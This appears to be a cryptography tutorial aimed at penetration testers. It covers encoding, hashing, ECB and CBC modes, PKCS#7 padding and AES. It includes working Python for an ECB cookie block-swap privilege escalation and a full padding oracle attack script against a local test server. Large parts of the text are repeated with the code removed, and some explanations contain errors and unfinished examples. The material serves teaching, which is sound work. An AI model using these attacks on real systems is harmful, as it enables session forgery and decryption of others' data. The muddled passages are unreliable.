The text covers key cryptographic concepts: encoding (Base64), hashing (MD5, SHA256, salting), and encryption (symmetric vs. asymmetric). It details block ciphers (AES, DES) and stream ciphers (RC4), explaining ECB mode's vulnerability to block replacement attacks, and CBC mode's use of IV and its susceptibility to Padding Oracle attacks. It also covers padding schemes (PKCS5, PKCS7) and AES parameters.
Base64 uses a fixed character set: A-Z, a-z, 0-9, +/=, with possibly 0–2 trailing equals signs. Encoding hides no information; it merely changes the representation.
The HTTP Basic authentication header carries Base64-encoded credentials — you can decode them instantly by capturing the packet.
JWT: the second part is Base64url-encoded JSON; parse it directly to see the payload.
The output is fixed-length (MD5: 128-bit → 32 hex chars), (SHA256: 256-bit → 64 hex chars).
Avalanche effect: changing even a single bit of input produces a drastically different output.
Offensive security: weak hashes (MD5, SHA1) are susceptible to collisions, but the most practical attack remains the rainbow table.
Salting: hash(salt + password) ensures identical passwords yield different hashes — but if the salt leaks in source code, it's as good as unsalted.
Encryption and Keys
Definition: encryption transforms plaintext into unreadable ciphertext under the control of a key; key length determines the difficulty of brute-force attacks.
Symmetric
Asymmetric
Encryption Algorithms & Random Number Classification
1.1 Classification by Encryption Method
Block ciphers operate on fixed-size blocks; the block size may vary depending on the algorithm.
Operates on fixed-size blocks; the block size may vary depending on the algorithm.
Examples: DES, 3-DES, Blowfish, IDEA, AES, etc.
Stream ciphers process one byte at a time. The keystream is independent of the message; encryption and decryption are achieved via XOR.
Processes one byte at a time. The keystream is independent of the message; encryption and decryption are achieved via XOR.
Examples: RC4, ORYX, SEAL
1.2 Classification by Key Type
1.2.1 Symmetric encryption uses the same key for both encryption and decryption. This method is fast and suitable for frequent data exchange, but the downside is the difficulty of secure key distribution.
The same key is used for both encryption and decryption. This method is fast and suitable for frequent data exchange, but the downside is the difficulty of secure key distribution.
In programming, encryption is a function that takes a key and plaintext, then outputs ciphertext: secret = encrypt(key, message); decryption is the reverse — it takes a key and ciphertext, then outputs plaintext: plain = decrypt(key, secret).
1.2.2 Asymmetric encryption uses a key pair — the public key for encryption and the private key for decryption, or the private key for signing and the public key for signature verification.
Examples include RSA and ECC (Elliptic Curve Cryptography). The public key encrypts and the private key decrypts. It is slower and suited for occasional data transmission. The advantage is easier key distribution.
The public key encrypts and the private key decrypts. It is slower and suited for occasional data transmission. The advantage is easier key distribution.
Use cases: SSL/HTTPS handshakes, digital signatures, secure transmission of symmetric keys.
Representative algorithms: RSA, ECC, etc.
1.2.3 Differences Between Symmetric and Asymmetric Encryption
Differences in the encryption/decryption process:
Symmetric encryption uses a single key for both operations: plaintext + key → ciphertext, and decrypt(key, ciphertext) → plaintext. Asymmetric encryption uses two keys — generally, the public key encrypts and the private key decrypts.
Differences in speed:
Symmetric encryption and decryption are relatively fast, making them suitable for large volumes of data. Asymmetric encryption and decryption take longer and are slower, making them suitable only for small amounts of data.
Differences in transmission security:
In asymmetric encryption, the private key is generated as a random number based on different algorithms, and the public key is derived from the private key through a cryptographic algorithm. However, the derivation from private key to public key is one-way, meaning the public key cannot be reverse-engineered to reveal the private key. Security is therefore higher.
Hash algorithms (digest functions) are one-way functions that convert data of arbitrary length into a fixed-length fingerprint. They are irreversible. Examples: MD5, SHA-1, SHA-256.
Use cases: verifying file integrity (tamper detection), storing passwords (the server stores only the hash fingerprint, not the plaintext password).
MD5 Algorithm — now considered broken
1.3 Classification by Encryption Mode
Common encryption modes include ECB, CBC, CFB, OFB, CTR, and others.
Difference between ECB and CBC: ECB performs encryption only on each block, while CBC applies an XOR operation both before encryption and after decryption.
1.4 ECB Mode (Electronic Codebook Mode)
The simplest encryption mode: it splits the plaintext into blocks, encrypts each block independently with the key, and then concatenates the ciphertext blocks together.
Attack vector: its biggest weakness lies precisely in this block independence:
With ECB, reordering ciphertext blocks will reorder the corresponding decrypted plaintext blocks; replacing a ciphertext block will replace that block's plaintext after decryption, while other blocks remain unaffected.
ECB should be avoided whenever the plaintext spans more than one block.
Algorithm definition: each block is encrypted completely independently.
Weakness: identical plaintext blocks produce identical ciphertext blocks, meaning the ciphertext retains statistical patterns of the plaintext.
Block Ciphers and Padding
Block cipher (AES): processes fixed-size blocks (16 bytes) at a time. Incomplete blocks must be padded.
PKCS#7 padding: if N bytes are missing, pad with N bytes each set to 0xN. For example, with a 16-byte block size, 15 bytes of data get one 0x01 byte of padding; 9 bytes of data get seven 0x07 bytes.
Padding is the root cause of Padding Oracle attacks.
PYTHON
from Crypto.Util.Padding import pad
data = b"Hello World" # 11字节
padded = pad(data,16)
print(padded) # Hello World\x05\x05\x05\x05\x05
print(padded.hex()) # 48656c6c6f20576f726c640505050505
# 缺5个字节,填充5个0x05
from Crypto.Cipher import AES
import os
import sys
filename = "C:\\Users\\82375\\Desktop\\1.bmp"
with open(filename, "rb") as f:
bmp_data = f.read()
# 获取像素数据偏移量(注意:这里不要加逗号!)
offset = int.from_bytes(bmp_data[10:14], 'little') # 去掉末尾逗号
# 分离头部和像素数据
header = bmp_data[:offset] # 头部(包含文件头+信息头+调色板)
body = bmp_data[offset:] # 实际的像素数据
# 补齐到16字节倍数(AES要求)
if len(body) % 16 != 0:
body += b"\x00" * (16 - len(body) % 16)
# 用ECB模式加密图像数据
key = bytes.fromhex("00112233445566778899aabbccddeeff")
cipher = AES.new(key, AES.MODE_ECB)
encrypted_body = cipher.encrypt(body)
# 组合并保存
ecb_bmp = header + encrypted_body
output = filename.replace(".bmp", "-ecb.bmp")
with open(output, "wb") as f:
f.write(ecb_bmp)
print(f"已生成: {output}")
The image after ECB
The outline is still clearly visible.
From a penetration testing perspective: if you discover ECB mode in an application (e.g., the same 16-byte fragment appears repeatedly in a cookie), you can:
Construct a block-swapping attack: splice a ciphertext block corresponding to a known plaintext block into another position to escalate privileges.
Leak plaintext by shifting bytes (byte-at-a-time attack).
ECB (Electronic Codebook) mode weakness: during encryption, the plaintext is divided into fixed-size 16-byte blocks, each encrypted independently. Identical plaintext blocks produce identical ciphertext blocks, with no relationship between blocks. It's like a codebook — if you see a particular ciphertext block, you know exactly which plaintext block it corresponds to.
An attacker can replace, delete, or reorder ciphertext blocks at will, knowing exactly which plaintext block each one maps to.
ECB identification and block-swapping attack demonstration:
PYTHON
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
import base64
# pad自动填充到16的倍数PKCS#7
# 密文用Base64编码方便传输。
KEY = b"0123456789abcdef"
def encrypt_cookie(data):
cipher = AES.new(KEY,AES.MODE_ECB)
ct = cipher.encrypt(pad(data.encode(),16))
return base64.b64encode(ct).decode()
def decrypt_cookie(cookie):
ct = base64.b64decode(cookie)
cipher = AES.new(KEY,AES.MODE_ECB)
pt = unpad(cipher.decrypt(ct),16).decode()
return pt
# 注册用户“admin”,得到其cookie
admin_cookie = encrypt_cookie("user=admin&role=user")
admin_ct = base64.b64decode(admin_cookie)
# 注册用户attacker
attacker_cookie = encrypt_cookie("user=attacker&role=user")
attacker_ct = base64.b64decode(attacker_cookie)
# 分析块结构(打印16进制块)
# 这段代码将密文按16字节(32个十六进制字符)打印,方便观察块边界。
# 明文块划分(关键):user=admin&role=user
print("Admin密文块:")
for i in range(0,len(admin_ct),16):
print(f"块{i//16}:{admin_ct[i:i+16].hex()}")
print("Attacker密文块:")
for i in range(0,len(attacker_ct),16):
print(f"块{i//16}:{attacker_ct[i:i+16].hex()}")
# 识别重复块——ECB特征
blocks = [admin_ct[i:i+16] for i in range (0, len(admin_ct), 16)]
for i, b in enumerate(blocks):
for j,b2 in enumerate(blocks):
if i < j and b == b2:
print(f"\n[!]发现重复块:块{i} == 块{j} ->确认时ECB")
# 构造越权cookie
# 把admin的第二块(包含role信息)换到attacker的第二块
crafted_ct = attacker_ct[:16] + admin_ct[16:32]
crafted_cookie = base64.b64encode(crafted_ct).decode()
print(f"构造的Cookie:{crafted_cookie}")
print(f"解密后:{decrypt_cookie(crafted_cookie)}")
Length: 23 bytes → needs 9 bytes of padding to reach the 16-byte boundary (32 bytes total, 2 blocks)
Padding value: 0x09 repeated 9 times
Block
Content
Block 0
user=attcker&ro
Block 1
lle=user followed by nine 0x09 padding bytes
Admin cookie plaintext:
PYTHON
"user=admin&role=admin"
Length: 20 bytes → padded to 32 bytes (2 blocks)
Padding value: twelve bytes of 0x0c
Block
Content
Block 0
user=admin&role=
Block 1
admin followed by twelve 0x0c padding bytes
Operation
PYTHON
crafted_ct = attacker_ct[:16] + admin_ct[16:32]
Keep the attacker's first ciphertext block, and replace the admin's second ciphertext block with it for the attacker.
After decryption:
First block decrypts → user=attacker&ro
Second block decrypts → admin+\x0c*12
Result:
SH
user=admin&ro=admin
By adjusting padding, make role= appear at the start of block 1, then replace block 1 with the admin's corresponding block (the part containing role=admin).
Why didn't we get role=admin?
Because in the attacker's plaintext, the ro in role= sits at the end of block 0, while le falls at the start of block 1.
We only replaced block 1, so what we actually swapped was the le=user portion rather than the entire role=user.
As a result, the ro from the start of block 0 and the new content admin from block 1 got concatenated into roadmin, and the original le= disappeared.
So what can we do?
Approach 1:
Craft the attacker's plaintext so that role= sits entirely at the start of a single block.
PYTHON
"user=attacker&x=role=user"
Approach 2:
Replace both blocks at once (a more complex splicing operation).
If the attacker's plaintext length happens to make role= straddle a block boundary, you'll need to replace both blocks simultaneously. Swapping role=user → role=admin in one go would also alter the username.
Therefore, you must carefully craft the attacker's plaintext so that user= and role= land in separate, independent blocks.
1.5 CBC (Cipher Block Chaining Mode)
Acronym: Cipher Block Chaining
Concept: The plaintext is divided into blocks. The first block is XORed with an Initialization Vector (IV) before encryption. Each subsequent block is XORed with the previous ciphertext block, then encrypted, and so on until all blocks are processed.
Real-world applications include SSL/TLS — one of the core protocols securing the internet — which uses CBC mode to ensure communication confidentiality, such as 3DES_EDE_CBC (triple DES in CBC mode) and AES_256_CBC (256-bit AES in CBC mode).
SSL/TLS — one of the core protocols securing the internet — uses CBC mode to ensure communication confidentiality, such as 3DES_EDE_CBC (triple DES in CBC mode) and AES_256_CBC (256-bit AES in CBC mode).
Important Notes:
The IV must be data of the same length as the key.
Because XOR is applied both before encryption and after decryption, the plaintext must be padded to a multiple of the block size using a padding scheme such as PKCS#7 before the XOR operation.
During decryption, XOR is applied after the ciphertext is decrypted, ensuring successful data recovery.
When using PKCS#7 padding, the decrypted output will include padding bytes whose value indicates the padding length. When retrieving the data, you must strip these padding bytes based on the padding value.
The first block requires a random and unpredictable initialization vector.
A practical weakness is that CBC provides no integrity protection. Attackers can use bit-flipping attacks to precisely manipulate specific bits in the decrypted plaintext (e.g., altering amounts or permission flags).
Critical side channel: when padding schemes are configured, the system is highly vulnerable to Padding Oracle Attacks.
1.5.1 What Is XOR?
In a nutshell: "Same is 0, different is 1" (for binary)
0 ⊕ 0 = 0
1 ⊕ 1 = 0
0 ⊕ 1 = 1
1 ⊕ 0 = 1
1.5.2 Mathematical Properties of XOR (The Foundation of Encryption)
Property
Formula
Plain English
Self-inverse
A⊕B⊕B = A
XOR the same number twice, and you get back to where you started. (That's decryption.)
Commutative / Associative
Order doesn't matter
You can rearrange multiple XOR operations in any order.
Key point: During encryption, do ciphertext = plaintext ⊕ key; during decryption, do plaintext = ciphertext ⊕ key. XOR twice and you're back to the original.
1⊕1⊕1=1 明文⊕密钥=密文 密文⊕密钥=明文
1.5.3 CBC Mode and IV Security
IV ⊕ P1 --> E(K) = C1
First, mix IV and P1 together, then feed the mixed result into AES encryption to get C1.
Breakdown:
IV = 0x0F (hex; binary: 00001111)
P1 = 0xA5 (binary: 10100101)
Ignore the internals of AES for now — treat it as a black box: whatever you feed in, it spits something out. (Assume the encryption function E(K) simply multiplies the input by 2.)
The same P1 always yields the same C1. (That's a vulnerability.)
An attacker can tell you sent the same command twice.
With XOR in the mix:
Whenever IV changes, the result of IV ⊕ P1 changes too.
The input fed into the encryption function is completely different.
So the final C1 is also different.
Vulnerability: the IV must be unpredictable.
If an attacker can control the IV before encryption — for example, via CSRF combined with an encryption endpoint — they can mount a chosen-plaintext attack.If an attacker can control the IV before encryption — for example, via CSRF combined with an encryption endpoint — they can mount a chosen-plaintext attack.
A fixed IV — or one hardcoded to 0 — causes identical plaintext prefixes to produce identical ciphertext blocks, leaking information.A fixed IV — or one hardcoded to 0 — causes identical plaintext prefixes to produce identical ciphertext blocks, leaking information.
The result is different every time, so an attacker cannot infer information from ciphertext patterns.
The random IV is sent in plaintext as part of the ciphertext, and read directly during decryption.
The IV is not a secret — it's just a scrambling tool. The real secret is the key K.
[16字节IV]+[密文C1]+[密文C2]+.......
First, read the first 16 bytes → that gives you the IV.
Use that IV to decrypt the first block.
Subsequent blocks use the previous ciphertext block (no extra transmission needed).
PYTHON
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
import os
key = b"0123456789abcdef"
data = b"Hello World! This is a secret."
# 加密方
iv = os.urandom(16) # 随机生成IV
cipher = AES.new(key, AES.MODE_CBC, iv = iv)
ct = cipher.encrypt(pad(data,16))
# 发送给解密方: IV + 密文
message = iv + ct # 把密文拼接在前面
print(f"发送的数据长度:{len(message)}字节")
# 解密方
# 从消息中拆出IV和密文
received_iv = message[:16] # 取前16字节
received_ct = message[16:] # 剩下的都是密文
# 用同一个IV解密
cipher2 = AES.new(key, AES.MODE_CBC, iv=received_iv)
decrypted = unpad(cipher2.decrypt(received_ct),16)
print(f"解密结果:{decrypted.decode()}")
Output:
SHELLSCRIPT
发送的数据长度:48字节
解密结果:Hello World! This is a secret.
1.5.4 Padding Oracle Attack
It allows an attacker, without knowing the key, to repeatedly tamper with ciphertext and observe the server's response ("padding valid" vs. "padding error"), gradually recovering the plaintext corresponding to any given ciphertext.
Prerequisite Knowledge: CBC Mode and PKCS#7 Padding
CBC (Cipher Block Chaining): During encryption, each plaintext block is first XORed with the previous ciphertext block, then encrypted with the key. During decryption, each ciphertext block is first decrypted with the key, then XORed with the previous ciphertext block (or IV) to recover the plaintext block.
PKCS#7 Padding: To make the plaintext length an exact multiple of the block size (16 bytes), N bytes are appended at the end, each with the value N (where N ranges from 1 to 16). After decryption, the server checks whether the padding is valid; if not, an exception is thrown.
Padding Oracle: After decryption, the server returns different responses depending on whether the padding is valid. Attackers exploit this information discrepancy as an "oracle" to infer the intermediate state values.
Setup: set up a vulnerable Python decryption server that exposes a decryption endpoint and returns different responses based on whether the padding is valid.
If the padding is correct after decryption, the server responds with "Decryption successful."
If the padding is wrong, it responds with "Padding error."
Attack principle: the last byte of padding can only be 0x01, 0x02, etc. We tamper with the last byte of the IV, send it to the server, and check whether a padding error is reported. If no error occurs, it means we've caused the last byte of the plaintext to become a valid padding value (e.g., 0x01). At that point, tampered IV byte ⊕ actual plaintext last byte = 0x01, which allows us to recover the real plaintext byte.
Then work backwards byte by byte to decrypt the entire plaintext block.
Below is a Python implementation of the Padding Oracle attack.
PYTHON
"""
padding_oracle_attack.py
针对上述漏洞服务器的完整攻击脚本
"""
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
# === 配置 ===
TARGET_URL = "http://localhost:5000/decrypt"
SERVER_KEY = b"0123456789abcdef" # 实际攻击中不知道,这里用于生成合法密文
# === 正常加密一个消息(模拟服务器,攻击中我们只有密文和IV) ===
original_plaintext = b"password=secret!" # 我们想解密的目标
iv = os.urandom(16)
cipher = AES.new(SERVER_KEY, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(pad(original_plaintext, 16))
print(f"目标密文: {ct.hex()}")
print(f"IV: {iv.hex()}")
print(f"原始明文: {original_plaintext}")
# === Padding Oracle函数 ===
def oracle(test_iv_hex, test_ct_hex):
"""向服务器查询,返回True表示填充正确"""
resp = requests.get(TARGET_URL, params={
'iv': test_iv_hex,
'ciphertext': test_ct_hex
})
return "解密成功" in resp.text
# === 攻击:解密一个密文块 ===
def decrypt_block(prev_block, target_block):
"""
prev_block: 前一个密文块(或IV),bytes,16字节
target_block: 要解密的密文块,bytes,16字节
返回解密后的明文,bytes,16字节
"""
plaintext = bytearray(16)
for byte_pos in range(15, -1, -1):
padding_value = 16 - byte_pos
# 构造测试块
test_block = bytearray(16)
# 后面的字节已经知道,设置它们使解密后等于padding_value
for i in range(byte_pos + 1, 16):
test_block[i] = prev_block[i] ^ plaintext[i] ^ padding_value
found = False
for guess in range(256):
test_block[byte_pos] = prev_block[byte_pos] ^ guess ^ padding_value
if oracle(test_block.hex(), target_block.hex()):
plaintext[byte_pos] = guess
char = chr(guess) if 32 <= guess < 127 else '?'
print(f" 位置 {byte_pos}: 0x{guess:02x} ('{char}')")
found = True
break
if not found:
# 处理填充歧义
if byte_pos < 15:
test_block[byte_pos + 1] ^= 1
for guess in range(256):
test_block[byte_pos] = prev_block[byte_pos] ^ guess ^ padding_value
if oracle(test_block.hex(), target_block.hex()):
plaintext[byte_pos] = guess
print(f" 位置 {byte_pos}: 0x{guess:02x} (调整后)")
found = True
break
if not found:
print(f" 位置 {byte_pos}: 未找到!")
return bytes(plaintext)
# === 执行攻击 ===
print("\n开始Padding Oracle攻击...")
print("逐字节解密密文块:")
recovered = decrypt_block(iv, ct[:16])
print(f"\n恢复的明文块: {recovered}")
# 去掉填充
from Crypto.Util.Padding import unpad
final_plaintext = unpad(recovered, 16)
print(f"最终明文: {final_plaintext}")
Prerequisite: the attacker must be able to distinguish whether the padding is correct or not, whether through error message differences, response time differences, or similar signals. This is a common oversight in penetration testing on endpoints like login and password reset.
1.6 Padding
1.6.1 At a Glance
If the plaintext is not a multiple of 128 bits (16 bytes), padding must be applied — that is, extra bytes are appended somewhere in the plaintext to reach a length that is an integer multiple of 16 bytes. Encryption and decryption must use the same padding scheme; otherwise, decryption will fail.
1.6.2 No Padding
No padding is applied, but the plaintext must be an exact multiple of 16 bytes. The user can implement their own padding if needed. For all other padding modes, if the data is already a multiple of 16 bytes, an entire extra 16-byte block of padding will be appended.
1.6.3 PKCS5 Padding
Padding is appended at the end of the plaintext. Each padding byte holds the number of bytes needed to reach a 16-byte boundary. Since the final byte always indicates the padding length, the padding can be accurately stripped after decryption.
Before padding: 1,2,3,4,5,6,7,8,9,10,11
After padding: 1,2,3,4,5,6,7,8,9,10,11,5,5,5,5,5
1.6.4 PKCS7 Padding
The difference between PKCS7 and PKCS5 lies in the block size they support.
PKCS5 padding is defined for a block size of 8 bytes (64 bits).
PKCS7 padding supports block sizes ranging from 1 to 255 bytes.
2. Common Encryption Algorithms
2.1 AES (Advanced Encryption Standard)
The Advanced Encryption Standard (AES) is the most widely used symmetric encryption algorithm.
2.1.1 Parameters
Key length: commonly 128-bit, 192-bit, or 256-bit (AES128, AES192, AES256).
128 bits correspond to 16 bytes, so in some platform libraries a 16-character string (or a string of length 16) is used as the password.
Key: the password itself. AES128 means 128 bits; if the key is shorter, some libraries may automatically pad it to 128 bits.
IV (Initialization Vector): different IVs produce different ciphertexts; encryption and decryption must use the same IV.
Mode (encryption mode): AES supports several modes, such as:
ECB, CBC, CFB, etc. Apart from ECB, which does not use an IV and is therefore less secure, the differences between the other modes are minor.
Padding (padding mode): both encryption and decryption must use the same padding mode. The most common padding modes are PKCS5, PKCS7, and NoPadding.
2.2 SM Series (Chinese National Cryptographic Algorithms)
Background
Encoding
Hashing
Encryption
Key
None
None
Yes
Reversibility
Reversible by anyone
Irreversible
Reversible with key
Output Length
Variable
Fixed
Variable
Purpose
Data format conversion
Integrity check / fingerprint
Confidentiality
Encoding
Hashing
Encryption and Keys
Definition: encryption transforms plaintext into unreadable ciphertext under the control of a key; key length determines the difficulty of brute-force attacks.
Encryption Algorithms & Random Number Classification
1.1 Classification by Encryption Method
Block ciphers operate on fixed-size blocks; the block size may vary depending on the algorithm.
Stream ciphers process one byte at a time. The keystream is independent of the message; encryption and decryption are achieved via XOR.
1.2 Classification by Key Type
1.2.1 Symmetric encryption uses the same key for both encryption and decryption. This method is fast and suitable for frequent data exchange, but the downside is the difficulty of secure key distribution.
1.2.2 Asymmetric encryption uses a key pair — the public key for encryption and the private key for decryption, or the private key for signing and the public key for signature verification.
1.2.3 Differences Between Symmetric and Asymmetric Encryption
Hash algorithms (digest functions) are one-way functions that convert data of arbitrary length into a fixed-length fingerprint. They are irreversible. Examples: MD5, SHA-1, SHA-256.
1.3 Classification by Encryption Mode
Common encryption modes include ECB, CBC, CFB, OFB, CTR, and others.
Difference between ECB and CBC: ECB performs encryption only on each block, while CBC applies an XOR operation both before encryption and after decryption.
1.4 ECB Mode (Electronic Codebook Mode)
The simplest encryption mode: it splits the plaintext into blocks, encrypts each block independently with the key, and then concatenates the ciphertext blocks together.
Block Ciphers and Padding
Block cipher (AES): processes fixed-size blocks (16 bytes) at a time. Incomplete blocks must be padded.
PKCS#7 padding: if N bytes are missing, pad with N bytes each set to 0xN. For example, with a 16-byte block size, 15 bytes of data get one 0x01 byte of padding; 9 bytes of data get seven 0x07 bytes.
Padding is the root cause of Padding Oracle attacks.
Sample download: https://cloud.komll.com/s/6RUN
This is the image before ECB
The image after ECB
The outline is still clearly visible.
From a penetration testing perspective: if you discover ECB mode in an application (e.g., the same 16-byte fragment appears repeatedly in a cookie), you can:
ECB (Electronic Codebook) mode weakness: during encryption, the plaintext is divided into fixed-size 16-byte blocks, each encrypted independently. Identical plaintext blocks produce identical ciphertext blocks, with no relationship between blocks. It's like a codebook — if you see a particular ciphertext block, you know exactly which plaintext block it corresponds to.
An attacker can replace, delete, or reorder ciphertext blocks at will, knowing exactly which plaintext block each one maps to.
ECB identification and block-swapping attack demonstration:
Result:
Block
Content
Block 0
user=attcker&ro
Block 1
lle=user followed by nine 0x09 padding bytes
Block
Content
Block 0
user=admin&role=
Block 1
admin followed by twelve 0x0c padding bytes
After decryption:
Result:
By adjusting padding, make role= appear at the start of block 1, then replace block 1 with the admin's corresponding block (the part containing role=admin).
Why didn't we get role=admin?
Because in the attacker's plaintext, the ro in role= sits at the end of block 0, while le falls at the start of block 1.
We only replaced block 1, so what we actually swapped was the le=user portion rather than the entire role=user.
As a result, the ro from the start of block 0 and the new content admin from block 1 got concatenated into roadmin, and the original le= disappeared.
So what can we do?
Approach 1:
Approach 2:
Replace both blocks at once (a more complex splicing operation).
If the attacker's plaintext length happens to make role= straddle a block boundary, you'll need to replace both blocks simultaneously. Swapping role=user → role=admin in one go would also alter the username.
Therefore, you must carefully craft the attacker's plaintext so that user= and role= land in separate, independent blocks.
1.5 CBC (Cipher Block Chaining Mode)
Acronym: Cipher Block Chaining
Concept: The plaintext is divided into blocks. The first block is XORed with an Initialization Vector (IV) before encryption. Each subsequent block is XORed with the previous ciphertext block, then encrypted, and so on until all blocks are processed.
Real-world applications include SSL/TLS — one of the core protocols securing the internet — which uses CBC mode to ensure communication confidentiality, such as 3DES_EDE_CBC (triple DES in CBC mode) and AES_256_CBC (256-bit AES in CBC mode).
Important Notes:
1.5.1 What Is XOR?
In a nutshell: "Same is 0, different is 1" (for binary)
1.5.2 Mathematical Properties of XOR (The Foundation of Encryption)
Property
Formula
Plain English
Self-inverse
A⊕B⊕B = A
XOR the same number twice, and you get back to where you started. (That's decryption.)
Commutative / Associative
Order doesn't matter
You can rearrange multiple XOR operations in any order.
Key point: During encryption, do ciphertext = plaintext ⊕ key; during decryption, do plaintext = ciphertext ⊕ key. XOR twice and you're back to the original.
1.5.3 CBC Mode and IV Security
First, mix IV and P1 together, then feed the mixed result into AES encryption to get C1.
Breakdown:
IV = 0x0F (hex; binary: 00001111)
P1 = 0xA5 (binary: 10100101)
Step 1: IV ⊕ P1
Step 2: Feed the mixed result into the encryption function E(K)
Input to E(K) = 0xAA
Assume the encryption function (using key K) multiplies the input by 2:
Step 3: The output of the encryption function is ciphertext block C1.
Step 4: Putting the whole formula together:
Why make something so simple this complicated?
If we skip XOR and encrypt P1 directly:
With XOR in the mix:
Vulnerability: the IV must be unpredictable.
Output:
What is an IV?
Why do we need an IV?
Without an IV, or with a fixed IV:
An attacker who sees the same ciphertext twice knows you sent the same content.
With a random IV:
The result is different every time, so an attacker cannot infer information from ciphertext patterns.
The random IV is sent in plaintext as part of the ciphertext, and read directly during decryption.
The IV is not a secret — it's just a scrambling tool. The real secret is the key K.
Output:
1.5.4 Padding Oracle Attack
It allows an attacker, without knowing the key, to repeatedly tamper with ciphertext and observe the server's response ("padding valid" vs. "padding error"), gradually recovering the plaintext corresponding to any given ciphertext.
Prerequisite Knowledge: CBC Mode and PKCS#7 Padding
Setup: set up a vulnerable Python decryption server that exposes a decryption endpoint and returns different responses based on whether the padding is valid.
Below is a Python implementation of the Padding Oracle attack.
Prerequisite: the attacker must be able to distinguish whether the padding is correct or not, whether through error message differences, response time differences, or similar signals. This is a common oversight in penetration testing on endpoints like login and password reset.
1.6 Padding
1.6.1 At a Glance
If the plaintext is not a multiple of 128 bits (16 bytes), padding must be applied — that is, extra bytes are appended somewhere in the plaintext to reach a length that is an integer multiple of 16 bytes. Encryption and decryption must use the same padding scheme; otherwise, decryption will fail.
1.6.2 No Padding
No padding is applied, but the plaintext must be an exact multiple of 16 bytes. The user can implement their own padding if needed. For all other padding modes, if the data is already a multiple of 16 bytes, an entire extra 16-byte block of padding will be appended.
1.6.3 PKCS5 Padding
Padding is appended at the end of the plaintext. Each padding byte holds the number of bytes needed to reach a 16-byte boundary. Since the final byte always indicates the padding length, the padding can be accurately stripped after decryption.
Before padding: 1,2,3,4,5,6,7,8,9,10,11
After padding: 1,2,3,4,5,6,7,8,9,10,11,5,5,5,5,5
1.6.4 PKCS7 Padding
The difference between PKCS7 and PKCS5 lies in the block size they support.
2. Common Encryption Algorithms
2.1 AES (Advanced Encryption Standard)
The Advanced Encryption Standard (AES) is the most widely used symmetric encryption algorithm.
2.1.1 Parameters
2.2 SM Series (Chinese National Cryptographic Algorithms)